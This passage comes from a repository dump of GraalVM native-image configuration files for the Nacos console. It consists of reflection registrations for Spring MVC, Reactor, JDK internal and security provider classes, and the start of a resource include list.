{\"name\":\"setLocale\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\",\"jakarta.servlet.http.HttpServletResponse\",\"java.util.Locale\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.mvc.HttpRequestHandlerAdapter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getLastModified\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\",\"java.lang.Object\"] }, {\"name\":\"handle\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\",\"jakarta.servlet.http.HttpServletResponse\",\"java.lang.Object\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"supports\",\"parameterTypes\":[\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getLastModified\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\",\"java.lang.Object\"] }, {\"name\":\"handle\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\",\"jakarta.servlet.http.HttpServletResponse\",\"java.lang.Object\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"supports\",\"parameterTypes\":[\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.mvc.condition.PathPatternsRequestCondition\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.mvc.condition.PatternsRequestCondition\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.mvc.condition.RequestCondition\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getLastModified\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\",\"java.lang.Object\"] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"handle\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\",\"jakarta.servlet.http.HttpServletResponse\",\"java.lang.Object\"] }, {\"name\":\"setOrder\",\"parameterTypes\":[\"int\"] }, {\"name\":\"supports\",\"parameterTypes\":[\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.mvc.method.RequestMappingInfo\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.mvc.method.RequestMappingInfo$BuilderConfiguration\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.mvc.method.RequestMappingInfoHandlerMapping\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"initCorsConfiguration\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.reflect.Method\",\"java.lang.Object\"] }, {\"name\":\"registerHandlerMethod\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.reflect.Method\",\"java.lang.Object\"] }, {\"name\":\"registerMapping\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.Object\",\"java.lang.reflect.Method\"] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.mvc.method.RequestMappingInfoHandlerMapping$HttpOptionsHandler\",\n  \"methods\":[{\"name\":\"handle\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.mvc.method.annotation.ExceptionHandlerExceptionResolver\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getBuilderConfiguration\",\"parameterTypes\":[] }, {\"name\":\"getContentNegotiationManager\",\"parameterTypes\":[] }, {\"name\":\"getFileExtensions\",\"parameterTypes\":[] }, {\"name\":\"getPathPrefixes\",\"parameterTypes\":[] }, {\"name\":\"initCorsConfiguration\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.reflect.Method\",\"java.lang.Object\"] }, {\"name\":\"match\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\",\"java.lang.String\"] }, {\"name\":\"registerHandlerMethod\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.reflect.Method\",\"java.lang.Object\"] }, {\"name\":\"registerMapping\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.Object\",\"java.lang.reflect.Method\"] }, {\"name\":\"registerMapping\",\"parameterTypes\":[\"org.springframework.web.servlet.mvc.method.RequestMappingInfo\",\"java.lang.Object\",\"java.lang.reflect.Method\"] }, {\"name\":\"setContentNegotiationManager\",\"parameterTypes\":[\"org.springframework.web.accept.ContentNegotiationManager\"] }, {\"name\":\"setEmbeddedValueResolver\",\"parameterTypes\":[\"org.springframework.util.StringValueResolver\"] }, {\"name\":\"setPathPrefixes\",\"parameterTypes\":[\"java.util.Map\"] }, {\"name\":\"setPatternParser\",\"parameterTypes\":[\"org.springframework.web.util.pattern.PathPatternParser\"] }, {\"name\":\"setUseRegisteredSuffixPatternMatch\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setUseSuffixPatternMatch\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setUseTrailingSlashMatch\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"useRegisteredSuffixPatternMatch\",\"parameterTypes\":[] }, {\"name\":\"useSuffixPatternMatch\",\"parameterTypes\":[] }, {\"name\":\"useTrailingSlashMatch\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping$AnnotationDescriptor\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.resource.ResourceUrlProvider\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"onApplicationEvent\",\"parameterTypes\":[\"org.springframework.context.ApplicationEvent\"] }, {\"name\":\"setApplicationContext\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.support.AbstractFlashMapManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getFlashMapTimeout\",\"parameterTypes\":[] }, {\"name\":\"getUrlPathHelper\",\"parameterTypes\":[] }, {\"name\":\"retrieveAndUpdate\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\",\"jakarta.servlet.http.HttpServletResponse\"] }, {\"name\":\"saveOutputFlashMap\",\"parameterTypes\":[\"org.springframework.web.servlet.FlashMap\",\"jakarta.servlet.http.HttpServletRequest\",\"jakarta.servlet.http.HttpServletResponse\"] }, {\"name\":\"setFlashMapTimeout\",\"parameterTypes\":[\"int\"] }, {\"name\":\"setUrlPathHelper\",\"parameterTypes\":[\"org.springframework.web.util.UrlPathHelper\"] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.support.RequestContext\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.support.RequestDataValueProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.support.SessionFlashMapManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.support.WebContentGenerator\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.web.servlet.theme.AbstractThemeResolver\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getDefaultThemeName\",\"parameterTypes\":[] }, {\"name\":\"setDefaultThemeName\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.theme.FixedThemeResolver\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"resolveThemeName\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\"] }, {\"name\":\"setThemeName\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\",\"jakarta.servlet.http.HttpServletResponse\",\"java.lang.String\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.view.AbstractCachingViewResolver\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"clearCache\",\"parameterTypes\":[] }, {\"name\":\"getCacheFilter\",\"parameterTypes\":[] }, {\"name\":\"getCacheLimit\",\"parameterTypes\":[] }, {\"name\":\"isCache\",\"parameterTypes\":[] }, {\"name\":\"isCacheUnresolved\",\"parameterTypes\":[] }, {\"name\":\"removeFromCache\",\"parameterTypes\":[\"java.lang.String\",\"java.util.Locale\"] }, {\"name\":\"resolveViewName\",\"parameterTypes\":[\"java.lang.String\",\"java.util.Locale\"] }, {\"name\":\"setCache\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setCacheFilter\",\"parameterTypes\":[\"org.springframework.web.servlet.view.AbstractCachingViewResolver$CacheFilter\"] }, {\"name\":\"setCacheLimit\",\"parameterTypes\":[\"int\"] }, {\"name\":\"setCacheUnresolved\",\"parameterTypes\":[\"boolean\"] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.view.AbstractCachingViewResolver$CacheFilter\"\n},\n{\n  \"name\":\"org.springframework.web.servlet.view.AbstractUrlBasedView\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"checkResource\",\"parameterTypes\":[\"java.util.Locale\"] }, {\"name\":\"getUrl\",\"parameterTypes\":[] }, {\"name\":\"setUrl\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"toString\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.view.AbstractView\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"addStaticAttribute\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object\"] }, {\"name\":\"getAttributesMap\",\"parameterTypes\":[] }, {\"name\":\"getBeanName\",\"parameterTypes\":[] }, {\"name\":\"getContentType\",\"parameterTypes\":[] }, {\"name\":\"getRequestContextAttribute\",\"parameterTypes\":[] }, {\"name\":\"getStaticAttributes\",\"parameterTypes\":[] }, {\"name\":\"isExposePathVariables\",\"parameterTypes\":[] }, {\"name\":\"render\",\"parameterTypes\":[\"java.util.Map\",\"jakarta.servlet.http.HttpServletRequest\",\"jakarta.servlet.http.HttpServletResponse\"] }, {\"name\":\"setAttributes\",\"parameterTypes\":[\"java.util.Properties\"] }, {\"name\":\"setAttributesCSV\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setAttributesMap\",\"parameterTypes\":[\"java.util.Map\"] }, {\"name\":\"setBeanName\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setContentType\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setExposeContextBeansAsAttributes\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setExposePathVariables\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setExposedContextBeanNames\",\"parameterTypes\":[\"java.lang.String[]\"] }, {\"name\":\"setRequestContextAttribute\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.view.BeanNameViewResolver\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"resolveViewName\",\"parameterTypes\":[\"java.lang.String\",\"java.util.Locale\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.view.ContentNegotiatingViewResolver\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"resolveViewName\",\"parameterTypes\":[\"java.lang.String\",\"java.util.Locale\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.view.DefaultRequestToViewNameTranslator\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getViewName\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.view.InternalResourceView\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.web.servlet.view.InternalResourceViewResolver\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.view.UrlBasedViewResolver\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getAttributesMap\",\"parameterTypes\":[] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"getRedirectHosts\",\"parameterTypes\":[] }, {\"name\":\"setAttributes\",\"parameterTypes\":[\"java.util.Properties\"] }, {\"name\":\"setAttributesMap\",\"parameterTypes\":[\"java.util.Map\"] }, {\"name\":\"setContentType\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setExposeContextBeansAsAttributes\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setExposePathVariables\",\"parameterTypes\":[\"java.lang.Boolean\"] }, {\"name\":\"setExposedContextBeanNames\",\"parameterTypes\":[\"java.lang.String[]\"] }, {\"name\":\"setOrder\",\"parameterTypes\":[\"int\"] }, {\"name\":\"setPrefix\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setRedirectContextRelative\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setRedirectHosts\",\"parameterTypes\":[\"java.lang.String[]\"] }, {\"name\":\"setRedirectHttp10Compatible\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setRequestContextAttribute\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setSuffix\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setViewClass\",\"parameterTypes\":[\"java.lang.Class\"] }, {\"name\":\"setViewNames\",\"parameterTypes\":[\"java.lang.String[]\"] }]\n},\n{\n  \"name\":\"org.springframework.web.servlet.view.ViewResolverComposite\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"resolveViewName\",\"parameterTypes\":[\"java.lang.String\",\"java.util.Locale\"] }, {\"name\":\"setApplicationContext\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }, {\"name\":\"setServletContext\",\"parameterTypes\":[\"jakarta.servlet.ServletContext\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.socket.config.annotation.WebSocketMessageBrokerConfigurer\"\n},\n{\n  \"name\":\"org.springframework.web.util.UriBuilderFactory\"\n},\n{\n  \"name\":\"org.springframework.web.util.UriComponentsBuilder\"\n},\n{\n  \"name\":\"org.springframework.web.util.UriTemplateHandler\"\n},\n{\n  \"name\":\"org.springframework.web.util.UrlPathHelper\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.util.WebUtilRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.util.pattern.PathPattern\"\n},\n{\n  \"name\":\"org.springframework.web.util.pattern.PathPatternParser\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.web.util.pattern.PatternParseException\"\n},\n{\n  \"name\":\"org.springframework.ws.transport.http.MessageDispatcherServlet\"\n},\n{\n  \"name\":\"org.thymeleaf.spring6.SpringTemplateEngine\"\n},\n{\n  \"name\":\"org.webjars.WebJarAssetLocator\"\n},\n{\n  \"name\":\"org.xnio.SslClientAuthMode\"\n},\n{\n  \"name\":\"org.yaml.snakeyaml.Yaml\"\n},\n{\n  \"name\":\"reactor.core.publisher.Flux\"\n},\n{\n  \"name\":\"reactor.core.publisher.Hooks\"\n},\n{\n  \"name\":\"reactor.core.publisher.Mono\"\n},\n{\n  \"name\":\"reactor.netty.http.server.HttpServer\"\n},\n{\n  \"name\":\"reactor.tools.agent.ReactorDebugAgent\"\n},\n{\n  \"name\":\"sun.management.ClassLoadingImpl\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"sun.management.CompilationImpl\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"sun.management.ManagementFactoryHelper$1\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"sun.management.ManagementFactoryHelper$PlatformLoggingImpl\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"sun.management.MemoryImpl\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"sun.management.MemoryManagerImpl\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"sun.management.MemoryPoolImpl\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"sun.management.RuntimeImpl\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"sun.misc.SharedSecrets\"\n},\n{\n  \"name\":\"sun.misc.Signal\"\n},\n{\n  \"name\":\"sun.misc.Unsafe\",\n  \"allDeclaredFields\":true,\n  \"methods\":[{\"name\":\"arrayBaseOffset\",\"parameterTypes\":[\"java.lang.Class\"] }, {\"name\":\"arrayIndexScale\",\"parameterTypes\":[\"java.lang.Class\"] }, {\"name\":\"copyMemory\",\"parameterTypes\":[\"long\",\"long\",\"long\"] }, {\"name\":\"copyMemory\",\"parameterTypes\":[\"java.lang.Object\",\"long\",\"java.lang.Object\",\"long\",\"long\"] }, {\"name\":\"getAndAddLong\",\"parameterTypes\":[\"java.lang.Object\",\"long\",\"long\"] }, {\"name\":\"getAndSetObject\",\"parameterTypes\":[\"java.lang.Object\",\"long\",\"java.lang.Object\"] }, {\"name\":\"getBoolean\",\"parameterTypes\":[\"java.lang.Object\",\"long\"] }, {\"name\":\"getByte\",\"parameterTypes\":[\"long\"] }, {\"name\":\"getByte\",\"parameterTypes\":[\"java.lang.Object\",\"long\"] }, {\"name\":\"getDouble\",\"parameterTypes\":[\"java.lang.Object\",\"long\"] }, {\"name\":\"getFloat\",\"parameterTypes\":[\"java.lang.Object\",\"long\"] }, {\"name\":\"getInt\",\"parameterTypes\":[\"long\"] }, {\"name\":\"getInt\",\"parameterTypes\":[\"java.lang.Object\",\"long\"] }, {\"name\":\"getLong\",\"parameterTypes\":[\"long\"] }, {\"name\":\"getLong\",\"parameterTypes\":[\"java.lang.Object\",\"long\"] }, {\"name\":\"getObject\",\"parameterTypes\":[\"java.lang.Object\",\"long\"] }, {\"name\":\"invokeCleaner\",\"parameterTypes\":[\"java.nio.ByteBuffer\"] }, {\"name\":\"objectFieldOffset\",\"parameterTypes\":[\"java.lang.reflect.Field\"] }, {\"name\":\"putBoolean\",\"parameterTypes\":[\"java.lang.Object\",\"long\",\"boolean\"] }, {\"name\":\"putByte\",\"parameterTypes\":[\"long\",\"byte\"] }, {\"name\":\"putByte\",\"parameterTypes\":[\"java.lang.Object\",\"long\",\"byte\"] }, {\"name\":\"putDouble\",\"parameterTypes\":[\"java.lang.Object\",\"long\",\"double\"] }, {\"name\":\"putFloat\",\"parameterTypes\":[\"java.lang.Object\",\"long\",\"float\"] }, {\"name\":\"putInt\",\"parameterTypes\":[\"long\",\"int\"] }, {\"name\":\"putInt\",\"parameterTypes\":[\"java.lang.Object\",\"long\",\"int\"] }, {\"name\":\"putLong\",\"parameterTypes\":[\"long\",\"long\"] }, {\"name\":\"putLong\",\"parameterTypes\":[\"java.lang.Object\",\"long\",\"long\"] }, {\"name\":\"putObject\",\"parameterTypes\":[\"java.lang.Object\",\"long\",\"java.lang.Object\"] }, {\"name\":\"storeFence\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"sun.nio.ch.SelectorImpl\",\n  \"fields\":[{\"name\":\"publicSelectedKeys\"}, {\"name\":\"selectedKeys\"}]\n},\n{\n  \"name\":\"sun.reflect.ReflectionFactory\",\n  \"methods\":[{\"name\":\"getReflectionFactory\",\"parameterTypes\":[] }, {\"name\":\"newConstructorForSerialization\",\"parameterTypes\":[\"java.lang.Class\",\"java.lang.reflect.Constructor\"] }]\n},\n{\n  \"name\":\"sun.rmi.registry.RegistryImpl_Stub\"\n},\n{\n  \"name\":\"sun.rmi.transport.DGCImpl_Skel\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"sun.rmi.transport.DGCImpl_Stub\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.rmi.server.RemoteRef\"] }]\n},\n{\n  \"name\":\"sun.security.pkcs12.PKCS12KeyStore\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"sun.security.pkcs12.PKCS12KeyStore$DualFormatPKCS12\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"sun.security.provider.DRBG\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.security.SecureRandomParameters\"] }]\n},\n{\n  \"name\":\"sun.security.provider.JavaKeyStore$JKS\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"sun.security.provider.MD5\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"sun.security.provider.NativePRNG\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"<init>\",\"parameterTypes\":[\"java.security.SecureRandomParameters\"] }]\n},\n{\n  \"name\":\"sun.security.provider.SHA\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"sun.security.provider.SHA2$SHA256\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"sun.security.provider.SHA5$SHA512\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"sun.security.provider.X509Factory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"sun.security.rsa.RSAKeyFactory$Legacy\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"sun.security.ssl.KeyManagerFactoryImpl$SunX509\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"sun.security.ssl.SSLContextImpl$DefaultSSLContext\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"sun.security.ssl.SSLContextImpl$TLSContext\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"sun.security.ssl.TrustManagerFactoryImpl$PKIXFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"sun.security.x509.AuthorityInfoAccessExtension\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Boolean\",\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"sun.security.x509.AuthorityKeyIdentifierExtension\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Boolean\",\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"sun.security.x509.BasicConstraintsExtension\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Boolean\",\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"sun.security.x509.CRLDistributionPointsExtension\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Boolean\",\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"sun.security.x509.CertificatePoliciesExtension\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Boolean\",\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"sun.security.x509.ExtendedKeyUsageExtension\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Boolean\",\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"sun.security.x509.IssuerAlternativeNameExtension\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Boolean\",\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"sun.security.x509.KeyUsageExtension\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Boolean\",\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"sun.security.x509.NetscapeCertTypeExtension\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Boolean\",\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"sun.security.x509.PrivateKeyUsageExtension\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Boolean\",\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"sun.security.x509.SubjectAlternativeNameExtension\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Boolean\",\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"sun.security.x509.SubjectKeyIdentifierExtension\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Boolean\",\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"zipkin2.reporter.Encoding\"\n}\n]\n"
  },
  {
    "path": "console/src/main/resources/META-INF/native-image/com.alibaba.nacos/nacos-console/resource-config.json",
    "content": "{\n  \"resources\":{\n  \"includes\":[{\n    \"pattern\":\".*\\\\.desc$\"\n  }, {\n    \"pattern\":\".*\\\\.dll$\"\n  }, {\n    \"pattern\":\".*\\\\.jnilib$\"\n  }, {\n    \"pattern\":\".*\\\\.proto$\"\n  }, {\n    \"pattern\":\".*\\\\.so$\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/derby-schema.sql\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/hessian/deserializers\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/hessian/serializers\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/io.netty.versions.properties\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/logback/config-included.xml\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/logback/nacos.xml\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/logback/naming-included.xml\\\\E\"\n  }, {\n    \"pattern\":\"\\\\QMETA-INF/native/libio_grpc_netty_shaded_netty_transport_native_epoll_x86_64.so\\\\E\"\n  }, 